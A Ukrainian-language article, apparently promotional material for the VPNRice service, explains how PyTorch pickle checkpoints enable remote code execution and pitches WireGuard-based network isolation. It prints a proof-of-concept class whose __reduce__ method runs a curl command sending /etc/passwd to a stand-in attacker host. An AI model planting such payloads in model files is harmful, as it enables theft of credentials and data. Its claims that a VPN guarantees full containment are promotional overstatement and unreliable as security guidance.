Стрімкий розвиток генеративного штучного інтелекту та великих мовних моделей (LLM) докорінно змінив процеси розробки корпоративного програмного забезпечення. Інженерні команди постійно завантажують, донавчають та впроваджують базові моделі з відкритих репозиторіїв. У сучасних конвеєрах MLOps фахівці регулярно передають файли ваг між розподіленими обчислювальними кластерами GPU для прискорення експериментів.
Проте базові механізми серіалізації даних, на яких тримаються ці процеси, містять критичні ризики для ланцюга постачання ПЗ. Протягом тривалого часу екосистема PyTorch використовувала стандартний модуль Python pickle як формат за замовчуванням для збереження та завантаження контрольних точок (.pt, .pth та .bin). Оскільки віртуальна машина Pickle не має обмежень щодо виконання інструкцій, завантаження неперевірених ваг наражає обчислювальні вузли на ризик віддаленого виконання довільного коду (RCE).
Запуск шкідливого сценарію під час відкриття контрольної точки здатен зруйнувати межі локальних контейнерів, спричиняючи викрадення API-ключів, витік закритих навчальних даних та несанкціоноване просування всередині мережі. Захист обчислювальної інфраструктури потребує ешелонованої безпеки: переходу на безпечні формати зберігання тензорів та розгортання незалежного периметра на Рівні 3. Застосування зашифрованих VPN-шлюзів гарантує повне утримання та блокування каналів витоку даних.
+-------------------------------------------------------------------------+
| Кластер навчання MLOps / Обчислювальний вузол |
| [Виклик torch.load('malicious_weights.pth')] |
| - Віртуальна машина Pickle аналізує інструкції байт-коду |
| - Метод __reduce__() запускає виконання системних функцій |
| - Процес зловмисника зчитує ключі API, токени та пам'ять GPU |
+-------------------+--------------------+-------------------+------------+
| | |
[Прямі TCP-сокети] [Вихідні HTTPS] [Канал керування C2]
- Зворотний порт 4444 - Витік через веб - Постійний маяк
| | |
v v v
+-------------------------------------------------------------------------+
| Зашифрований VPN-шлюз Рівня 3 (WireGuard) |
| - Віртуальний адаптер (wg0) перехоплює всі вихідні пакети |
| - Політика блокування за замовчуванням відкидає зовнішній трафік |
| - Захищений внутрішній DNS нейтралізує запити до C2-серверів |
| - Обчислювальний сегмент повністю ізольований від публічної мережі |
+-------------------------------------------------------------------------+
|
v
[Конфіденційні дані збережено, ворожі вихідні канали заблоковано]
Технічна природа вразливостей десеріалізації Pickle
Щоб зрозуміти механізм використання файлів моделей як інструменту атак, необхідно проаналізувати архітектуру модуля pickle у Python та алгоритм завантаження ваг у PyTorch.
Архітектура віртуальної машини Pickle (PVM)
Модуль pickle у Python — це не просто формат статичного опису даних, подібний до JSON чи Protocol Buffers. Це повноцінна інтерпретована стекова віртуальна машина (Pickle Virtual Machine або PVM). Вона виконує послідовність однобайтних кодів операцій (opcodes) для побудови складних зв'язків між об'єктами:
- Опкод
GLOBAL(c): Додає до стека глобальне посилання на модуль і відповідну функцію або клас. - Опкод
REDUCE(R): Витягує зі стека функцію та кортеж аргументів, виконує її та повертає результат у стек. - Опкод
BUILD(b): Викликає метод__setstate__()об'єкта або оновлює його внутрішній словник атрибутів.
Коли об'єкт має метод __reduce__(), Python записує функцію, яку слід виконати, та її параметри. Під час десеріалізації завантажувач не лише відновлює масиви чисел, а й запускає вказану функцію. Зловмисник може вбудувати виконання системних команд безпосередньо в цей потік:
import os
import pickle
class MaliciousCheckpoint:
def __reduce__(self):
cmd = "curl -s -X POST -d @/etc/passwd http://attacker-controlled.net/exfil"
return (os.system, (cmd,))
payload = pickle.dumps({"epoch": 1, "weights": MaliciousCheckpoint()})
Логіка завантаження ваг у PyTorch
У стандартних скриптах виклик torch.load() під капотом звертається до pickle.load():
model_state = torch.load("model_checkpoint.pth", map_location="cuda:0")
model.load_state_dict(model_state)
Повна десеріалізація структури об'єктів відбувається ще до перевірки розмірностей тензорів або типів даних. Навіть якщо файл упаковано в архів ZIP (формат .pt), всередині міститься файл data.pkl. Виконання коду відбувається синхронно під час звернення до функції, тому жодні наступні перевірки не спрацьовують.
Шляхи атак на ланцюг постачання в MLOps
У реальних проєктах команди розробників регулярно використовують моделі з відкритих майданчиків, що створює кілька небезпечних точок впливу:
Отруєння загальнодоступних репозиторіїв моделей
Зловмисники завантажують шкідливі контрольні точки під виглядом популярних оптимізованих або квантованих версій відомих моделей. Вони реєструють схожі назви (typosquatting) або використовують скомпрометовані облікові записи учасників.
Оскільки автоматичні пайплайни тестують лише показники точності без перевірки байт-коду файлів, навчальні сервери запускають шкідливий код із повними правами процесу CI/CD.
Витік конфіденційної інформації та інтелектуальної власності
Отримавши доступ до кластера, шкідливий модуль негайно починає збір системної інформації:
- Зчитування змінних оточення: Перехоплення ключів до хмарних сервісів (AWS, GCP), токенів доступу до реєстрів моделей та паролів баз даних.
- Викрадення закритих навчальних вибірок: Сканування мережевих сховищ (NAS) та локальних дисків із конфіденційними даними клієнтів.
- Крадіжка вагових коефіцієнтів: Пересилання на зовнішні ресурси результатів обчислень, які коштували значних інвестицій.
- Закріплення присутності: Внесення правок у системні бібліотеки та підміна контрольних точок, що створюються сервером надалі.
Обмеження змін форматів та ізоляції контейнерів
Фахівці радять переходити на сучасний формат safetensors, створений Hugging Face. Він відокремлює метадані (JSON) від чистих бінарних тензорів, виключаючи наявність виконуваного коду.
Проте саме по собі оновлення форматів не вирішує проблему безпеки повністю:
- Залежність від наявних моделей: Багато наукових моделей і старих напрацювань існують виключно у форматах
.ptабо.bin. - Загрози на етапі конвертації: Щоб перетворити файл pickle на
safetensors, його необхідно десеріалізувати, що активує шкідливий код під час перетворення. - Слабкість ізоляції контейнерів: Навчання моделей вимагає прямого доступу до апаратних засобів GPU. У разі компрометації контейнера локальний захист хоста не спрацьовує.
Оскільки захисні засоби на рівні операційної системи можуть бути нейтралізовані під час десеріалізації, встановлення мережевого бар'єра стає обов'язковою вимогою.
Архітектура карантину за допомогою VPN-шлюзу Рівня 3
У разі компрометації обчислювального сервера головною метою шкідливого ПЗ є вихід у зовнішню мережу для надсилання даних або отримання команд. Розгортання зашифрованого VPN-шлюзу Рівня 3 (на базі WireGuard) створює надійне кільце ізоляції.
Примусова маршрутизація на рівні ядра
У звичайній мережі заражений вузол може відкрити пряме з'єднання з будь-якою адресою. Архітектура VPN Рівня 3 повністю блокує цей шлях:
- Перехоплення таблиці маршрутизації: Віртуальний інтерфейс (
wg0) приймає на себе всі вихідні потоки IPv4 та IPv6 (0.0.0.0/0та::/0 dev wg0). - Політика блокування за замовчуванням: VPN-шлюз відкидає будь-які прямі спроби з'єднання з відкритим Інтернетом. Обчислювальні вузли можуть контактувати лише з дозволеними локальними репозиторіями по захищених каналах.
- Аварійний вимикач (Kill-Switch): Правила міжмережевого екрана ядра блокують пакети, які намагаються вийти через фізичні інтерфейси безпосередньо.
Аналіз поведінки та фільтрація DNS
Акумуляція вихідного трафіку на VPN-шлюзі дає змогу швидко фіксувати підозрілі дії:
- Виявлення нетипових сокетів: Процес навчання формує прогнозований трафік обміну між GPU та завантаження блоків даних. Поява інтерактивних командних сесій призводить до миттєвої ізоляції вузла.
- Внутрішній DNS Sinkhole: Усі звернення до порту 53 перехоплюються та передаються внутрішньому резолверу. Пошук зовнішніх адрес керування перенаправляється на адресу
0.0.0.0.
Захист розподілених процесів MLOps за допомогою VPNRice
Для розробників та дослідників, які підключаються до віддалених GPU-кластерів через домашні чи публічні мережі, відсутність захисту створює критичні вразливості.
VPNRice пропонує комплексний захист на Рівні 3:
- Повна ізоляція трафіку через WireGuard: Створення зашифрованого каналу між робочим місцем і кластером унеможливлює появу сторонніх незахищених з'єднань.
- Захист від перехоплення в локальній мережі: Алгоритм ChaCha20-Poly1305 надійно оберігає сесії віддаленої роботи (Jupyter, SSH) від шпигування у відкритих мережах Wi-Fi.
- Приватна інфраструктура DNS: Опрацювання запитів доменних імен відбувається всередині закритого периметра, що запобігає підміні відповідей.
- Стабільність на всіх платформах: Єдині правила мережевої фільтрації діють на робочих комп'ютерах під керуванням Linux, macOS та Windows.
Поєднання контролю форматів файлів та мережевого тунелювання через VPN Рівня 3 знешкоджує ризики десеріалізації, гарантуючи збереження корпоративних напрацювань у сфері штучного інтелекту.



